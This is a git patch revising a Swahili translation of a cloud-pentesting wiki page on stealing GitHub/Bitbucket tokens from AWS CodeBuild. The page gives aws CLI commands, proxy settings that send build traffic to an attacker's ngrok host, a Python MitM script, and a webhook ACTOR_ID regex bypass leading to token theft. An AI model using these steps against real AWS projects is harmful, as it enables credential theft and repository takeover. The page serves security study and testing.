From b822c058983e4baa75e1cb6860a8b28d2b684bca Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 18 Jan 2026 15:11:39 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation --- .../aws-codebuild-token-leakage.md | 87 +++++++++++-------- 1 file changed, 52 insertions(+), 35 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index 56ef9291d..40925a2b3 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -2,47 +2,47 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Recover Github/Bitbucket Configured Tokens +## Rejesha Tokens za Github/Bitbucket Zilizosanidiwa -Kwanza, angalia kama kuna akiba za chanzo zilizowekwa ambazo unaweza kuvuja: +Kwanza, angalia kama kuna source credentials zilizosanidiwa ambazo unaweza leak: ```bash aws codebuild list-source-credentials ``` -### Kupitia Picha ya Docker +### Kupitia Docker Image -Ikiwa unapata kwamba uthibitisho kwa mfano Github umewekwa katika akaunti, unaweza **kuondoa** hiyo **ufikiaji** (**GH token au OAuth token**) kwa kufanya Codebuild **itumie picha maalum ya docker** kuendesha ujenzi wa mradi. +Ikiwa utagundua kuwa authentication kwa mfano Github imewekwa kwenye akaunti, unaweza **exfiltrate** huo **ufikiaji** (**GH token or OAuth token**) kwa kufanya Codebuild itumie **docker image** maalum ili kukimbia build ya project. -Kwa kusudi hili unaweza **kuunda mradi mpya wa Codebuild** au kubadilisha **mazingira** ya moja iliyopo ili kuweka **picha ya Docker**. +Kwa madhumuni haya unaweza **unda project mpya ya Codebuild** au kubadilisha **mazingira** ya ile iliyopo ili kuweka **Docker image**. -Picha ya Docker unayoweza kutumia ni [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Hii ni picha ya Docker ya msingi sana ambayo itaweka **mabadiliko ya env `https_proxy`**, **`http_proxy`** na **`SSL_CERT_FILE`**. Hii itakuruhusu kukamata sehemu kubwa ya trafiki ya mwenyeji iliyoonyeshwa katika **`https_proxy`** na **`http_proxy`** na kuamini SSL CERT iliyoonyeshwa katika **`SSL_CERT_FILE`**. +The Docker image unayoweza kutumia ni [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Hii ni Docker image ya msingi itakayoweka **env variables `https_proxy`**, **`http_proxy`** na **`SSL_CERT_FILE`**. Hii itakuwezesha kuingilia sehemu kubwa ya trafiki ya host iliyotajwa katika **`https_proxy`** na **`http_proxy`** na kuamini SSL CERT iliyotajwa katika **`SSL_CERT_FILE`**. -1. **Unda & Pakia picha yako ya Docker MitM** -- Fuata maelekezo ya repo kuweka anwani yako ya IP ya proxy na kuweka cheti chako cha SSL na **ujenge picha ya docker**. -- **USIWEKE `http_proxy`** ili usikamate maombi kwa kiungo cha metadata. -- Unaweza kutumia **`ngrok`** kama `ngrok tcp 4444` kuweka proxy kwa mwenyeji wako -- Mara tu unapokuwa na picha ya Docker iliyojengwa, **pakia kwenye repo ya umma** (Dockerhub, ECR...) +1. **Tengeneza & Pakia Docker MitM image yako** +- Fuata maelekezo ya repo ili kuweka anwani ya IP ya proxy yako na kuweka SSL cert yako na **jenga docker image**. +- **DO NOT SET `http_proxy`** ili kuepuka kuingilia maombi kuelekea metadata endpoint. +- Unaweza kutumia **`ngrok`** kama `ngrok tcp 4444` ili kuweka proxy kwa host yako +- Mara utakapo jenga Docker image, **pakia kwenye repo ya umma** (Dockerhub, ECR...) 2. **Weka mazingira** -- Unda **mradi mpya wa Codebuild** au **badilisha** mazingira ya moja iliyopo. -- Weka mradi kutumia **picha ya Docker iliyozalishwa hapo awali** +- Unda **project mpya ya Codebuild** au **badilisha** mazingira ya ile iliyopo. +- Weka project itumie **Docker image uliyoitengeneza hapo awali**
-3. **Weka proxy ya MitM katika mwenyeji wako** +3. **Sanidi MitM proxy kwenye host yako** -- Kama ilivyoonyeshwa katika **repo ya Github** unaweza kutumia kitu kama: +- Kama ilivyoonyeshwa katika **Github repo** unaweza kutumia kitu kama: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` > [!TIP] -> Toleo la **mitmproxy lililotumika ni 9.0.1**, iliripotiwa kwamba na toleo la 10 hii huenda isifanye kazi. +> Toleo la **mitmproxy 9.0.1** lililotumika; imeripotiwa kwamba kwa toleo 10 hii inaweza isifanye kazi. -4. **Kimbia ujenzi & kamata akreditivu** +4. **Endesha build & capture the credentials** - Unaweza kuona token katika kichwa cha **Authorization**:
-Hii pia inaweza kufanywa kutoka kwa aws cli kwa kitu kama +Hii pia inaweza kufanywa kupitia aws cli kwa kitu kama ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json @@ -71,17 +71,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json # Start the build aws codebuild start-build --project-name my-project2 ``` -### Via insecureSSL +### Kupitia insecureSSL -**Codebuild** miradi yana mipangilio inayoitwa **`insecureSsl`** ambayo imefichwa kwenye wavuti unaweza kubadilisha tu kutoka kwa API.\ -Kuwezesha hili, inaruhusu Codebuild kuungana na hifadhi **bila kuangalia cheti** kinachotolewa na jukwaa. +Miradi ya **Codebuild** yana mpangilio uitwao **`insecureSsl`** ambao umefichwa kwenye web; unaweza kuubadilisha tu kupitia API.\ +Kuwezesha hili kunaruhusu Codebuild kuungana na repository **bila kukagua cheti** kinachotolewa na jukwaa. -- Kwanza unahitaji kuhesabu usanidi wa sasa kwa kutumia kitu kama: +- Kwanza unahitaji kuorodhesha usanidi wa sasa kwa kitu kama: ```bash aws codebuild batch-get-projects --name ``` -- Kisha, kwa kutumia taarifa ulizokusanya unaweza kuboresha mipangilio ya mradi **`insecureSsl`** kuwa **`True`**. Ifuatayo ni mfano wa jinsi nilivyoboresha mradi, angalia **`insecureSsl=True`** mwishoni (hii ndiyo kitu pekee unachohitaji kubadilisha kutoka kwenye usanidi ulio kusanya). -- Zaidi ya hayo, ongeza pia mabadiliko ya mazingira **http_proxy** na **https_proxy** yanayoelekeza kwenye tcp ngrok yako kama: +- Kisha, kwa taarifa zilizokusanywa unaweza kusasisha mipangilio ya mradi **`insecureSsl`** kuwa **`True`**. Ifuatayo ni mfano wa jinsi nilivyosasisha mradi, zingatia **`insecureSsl=True`** mwishoni (hii ndiyo pekee unayohitaji kubadilisha kutoka kwa usanidi uliokusanywa). +- Zaidi ya hayo, ongeza pia vigezo vya mazingira **http_proxy** na **https_proxy** vinavyoelekeza kwa tcp ngrok yako kama: ```bash aws codebuild update-project --name \ --source '{ @@ -115,7 +115,7 @@ aws codebuild update-project --name \ ] }' ``` -- Kisha,endesha mfano wa msingi kutoka [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) katika bandari iliyoonyeshwa na mabadiliko ya proxy (http_proxy na https_proxy) +- Kisha, endesha mfano wa msingi kutoka [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) katika bandari iliyoonyeshwa na proxy variables (http_proxy na https_proxy) ```python from mitm import MITM, protocol, middleware, crypto @@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Hatimaye, bonyeza **Build the project**, **credentials** zitatumwa kwa **clear text** (base64) kwenye bandari ya mitm: +- Mwisho, bonyeza kwenye **Build the project**, **credentials** zitatumwa kwa **maandishi wazi** (base64) kwenye port ya mitm:
-### ~~Kupitia protokali ya HTTP~~ +### ~~Kupitia HTTP protocol~~ -> [!TIP] > **Ukatili huu ulirekebishwa na AWS wakati fulani katika wiki ya 20 ya Februari ya 2023 (nadhani Ijumaa). Hivyo mshambuliaji hawezi kuutumia tena :)** +> [!TIP] > **This vulnerability ilirekebishwa na AWS katika wiki ya 20 Februari 2023 (nadhani Ijumaa). Kwa hivyo mshambuliaji hawezi kuutilia mbinu tena :)** -Mshambuliaji mwenye **permissions za juu katika CodeBuild anaweza kuvuja token ya Github/Bitbucket** iliyowekwa au ikiwa permissions zilipangwa kupitia OAuth, **token ya muda ya OAuth inayotumika kufikia msimbo**. +Mshambuliaji mwenye **idhini iliyoongezeka katika CodeBuild anaweza leak token ya Github/Bitbucket** iliyowekwa, au ikiwa idhini ilianzishwa kupitia OAuth, **token ya muda ya OAuth inayotumiwa kufikia code**. -- Mshambuliaji anaweza kuongeza mabadiliko ya mazingira **http_proxy** na **https_proxy** kwenye mradi wa CodeBuild ukielekeza kwenye mashine yake (kwa mfano `http://5.tcp.eu.ngrok.io:14972`). +- Mshambuliaji anaweza kuongeza environment variables **http_proxy** na **https_proxy** kwenye project ya CodeBuild ikielekeza kwa mashine yake (kwa mfano `http://5.tcp.eu.ngrok.io:14972`).
-- Kisha, badilisha URL ya repo ya github kutumia HTTP badala ya HTTPS, kwa mfano: `http://github.com/carlospolop-forks/TestActions` -- Kisha, endesha mfano wa msingi kutoka [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) kwenye bandari iliyotajwa na mabadiliko ya proxy (http_proxy na https_proxy) +- Kisha, badilisha URL ya github repo kutumia HTTP badala ya HTTPS, kwa mfano: `http://github.com/carlospolop-forks/TestActions` +- Kisha, endesha mfano wa msingi kutoka [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) kwenye port iliyoonyeshwa na proxy variables (http_proxy na https_proxy) ```python from mitm import MITM, protocol, middleware, crypto @@ -158,15 +158,32 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Kisha, bonyeza **Build the project** au anza ujenzi kutoka kwa mstari wa amri: +- Ifuatayo, bonyeza **Build the project** au anzisha ujenzi kutoka mstari wa amri: ```sh aws codebuild start-build --project-name ``` -- Hatimaye, **vithibitisho** vitatumwa kwa **maandishi wazi** (base64) kwenye bandari ya mitm: +- Hatimaye, **credentials** zitatumwa kwa **maandishi wazi** (base64) kwa port ya mitm:
> [!WARNING] -> Sasa mshambuliaji ataweza kutumia token kutoka kwa mashine yake, kuorodhesha haki zote alizo nazo na (kuitumia) kwa urahisi zaidi kuliko kutumia huduma ya CodeBuild moja kwa moja. +> Sasa mshambuliaji ataweza kutumia token kutoka kwenye mashine yake, kuorodhesha ruhusa zote anazomiliki na (ab)use kwa urahisi zaidi kuliko kutumia huduma ya CodeBuild moja kwa moja. + +## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds) + +Webhook za GitHub za CodeBuild zilizosanidiwa vibaya ambazo zinatumia `ACTOR_ID` regexes zisizo na anchoring zinaruhusu PR zisizoaminika kuanzisha privileged builds. Ikiwa allowlist ni kama `123456|7890123` bila `^`/`$`, ID yoyote yenye mojawapo ya sehemu hizo ndogo itafanana. Kwa kuwa GitHub user IDs ni mfululizo, mshambuliaji anaweza kukimbilia kujiandikisha kupata ID ya “eclipsing” (superstring ya ID ya kuaminika) na kuanzisha build. + +**Exploit path** + +1. Tafuta public CodeBuild projects zinazoonyesha webhook filters na chukua allowlist ya `ACTOR_ID` isiyo na anchoring. +2. Pata eclipsing GitHub ID: +- Sampuli kaunter ya global ID kwa kuunda/kufuta GitHub orgs (org IDs zinashirikiana katika pool). +- Weka tayari uundaji wa manifest nyingi za GitHub App na zipige confirmation URLs wakati kaunter iko ndani ya takriban ~100 IDs za lengo ili kujiandikisha kwa wingi bot ID yenye substring ya kuaminika. +3. Fungua PR kutoka kwa account ya eclipsing; regex inalingana na substring na privileged build inafanywa. +4. Tumia build RCE (mfano, dependency install hooks) kutoa memory ya process inayoshughulikia GitHub credential na kupata PAT/OAuth token. +5. Kwa kutumia token yenye `repo` scope, mkaribishe account yako kama collaborator/admin na push/approve malicious commits au exfiltrate secrets. + +## References +- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild) {{#include ../../../../banners/hacktricks-training.md}}